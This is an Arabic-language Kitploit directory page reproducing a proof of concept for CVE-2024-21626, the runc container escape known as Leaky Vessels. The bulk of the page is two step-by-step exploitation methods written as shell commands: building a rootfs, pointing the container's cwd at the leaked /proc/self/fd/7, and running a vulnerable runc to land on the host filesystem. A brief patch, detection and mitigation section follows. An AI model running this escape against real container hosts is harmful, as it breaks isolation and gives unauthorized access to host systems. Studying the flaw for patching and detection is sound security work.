Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2024-21626-runc-1.1.11-escape — إثبات المفهوم لـ CVE-2024-21626: runc يُسرّب مؤشر ملف داخلي (fd) يشير إلى دليل العمل الحالي للمضيف (host CWD) قبل pivot_root، مما يتيح الهروب من الحاوية عن طريق تعيين process.cwd إلى /proc/self/fd/7 | Kitploit
أدوات/GitHubGitHub/strikoder-premium/cve-2024-21626-runc-1.1.11-escape
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمرالهروب من الحاوية
GitHubstrikoder-premium/cve-2024-21626-runc-1.1.11-escape

cve-2024-21626-runc-1.1.11-escape

إثبات المفهوم لـ CVE-2024-21626: runc يُسرّب مؤشر ملف داخلي (fd) يشير إلى دليل العمل الحالي للمضيف (host CWD) قبل pivot_root، مما يتيح الهروب من الحاوية عن طريق تعيين process.cwd إلى /proc/self/fd/7

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

CVE-2024-21626 - أوعية متسربة من runc

نظرة عامة

الحقلالتفاصيل
CVECVE-2024-21626
المكون المتأثرrunc ≤ 1.1.11
فئة الثغرةهروب من الحاوية عبر تسرب واصف ملف
اللقبأوعية متسربة (Leaky Vessels)

السبب الجذري

runc يسرّب واصف ملف داخلي (عادةً fd/7) يشير إلى دليل العمل الخاص بنظام الملفات المضيف قبل تنفيذ عملية الحاوية. من خلال تعيين cwd للحاوية في config.json إلى /proc/self/fd/7، تهبط العملية في دليل مضيف بدلاً من جذر الحاوية — مما يحقق هروبًا من الحاوية.


طرق الاستغلال

الطريقة الأولى - جذر يدوي من برامج المضيف

أنشئ جذرًا مصغرًا بنسخ البرامج الثنائية مباشرة من المضيف:

root@kitploit:~
# 1. إنشاء هيكل الدليل
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib

# 2. نسخ البرامج الثنائية والمكتبات المطلوبة
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib

# 3. إنشاء تكوين OCI الافتراضي
runc spec

# 4. تعديل cwd في config.json للإشارة إلى واصف المضيف المسرب
# غيّر: "cwd": "/"
# إلى: "cwd": "/proc/self/fd/7"
vi config.json

# 5. تشغيل الحاوية باستخدام ثنائي runc المتأثر
sudo /opt/debug --log /tmp/log.json run strikontainer

ما يحدث: runc يفتح fd/7 الذي يشير إلى دليل العمل الحالي للمضيف قبل الانتقال إلى جذر الحاوية. تعيين cwd إلى /proc/self/fd/7 يجعل runc يقوم بـ chdir() إلى مسار المضيف بدلاً من الحاوية — مما يوصلك على نظام الملفات الحقيقي.


الطريقة الثانية - صورة Alpine Docker كجذر

إذا كنت بحاجة إلى بيئة أكثر اكتمالاً أو كان المضيف يحتوي على برامج محدودة:

root@kitploit:~
# --- على جهاز الهجوم الخاص بك ---
# تصدير نظام ملفات Alpine مصغر
docker export $(docker create alpine:latest) > alpine.tar

# انقل alpine.tar إلى الهدف، ثم:

# --- على الهدف ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs

# إنشاء حزمة OCI
runc spec

# تعديل cwd (نفس الطريقة الأولى)
vi config.json
# "cwd": "/proc/self/fd/7"

# التشغيل
sudo /opt/debug --log /tmp/log.json run strikontainer

الكشف والتخفيف

  • التصحيح: قم بترقية runc إلى ≥ 1.1.12 (أو ≥ 1.2.0-rc.2)
  • الكشف: راقب استدعاء openat() على /proc/self/fd/ داخل إعدادات cwd للحاوية؛ أنبه على حزم OCI التي تحتوي cwd على /proc/self/fd
  • التخفيف: استخدم ملفات تعريف seccomp التي تحد من الوصول إلى /proc؛ فكر في الحاويات غير الجذرية أو gVisor/Kata لعزل أقوى

المراجع

  • NVD: CVE-2024-21626
  • استشاري أمان GitHub لـ runc
  • مدونة Snyk Leaky Vessels
  • جهاز HackTheBox - GiveBack
تنزيل الأداة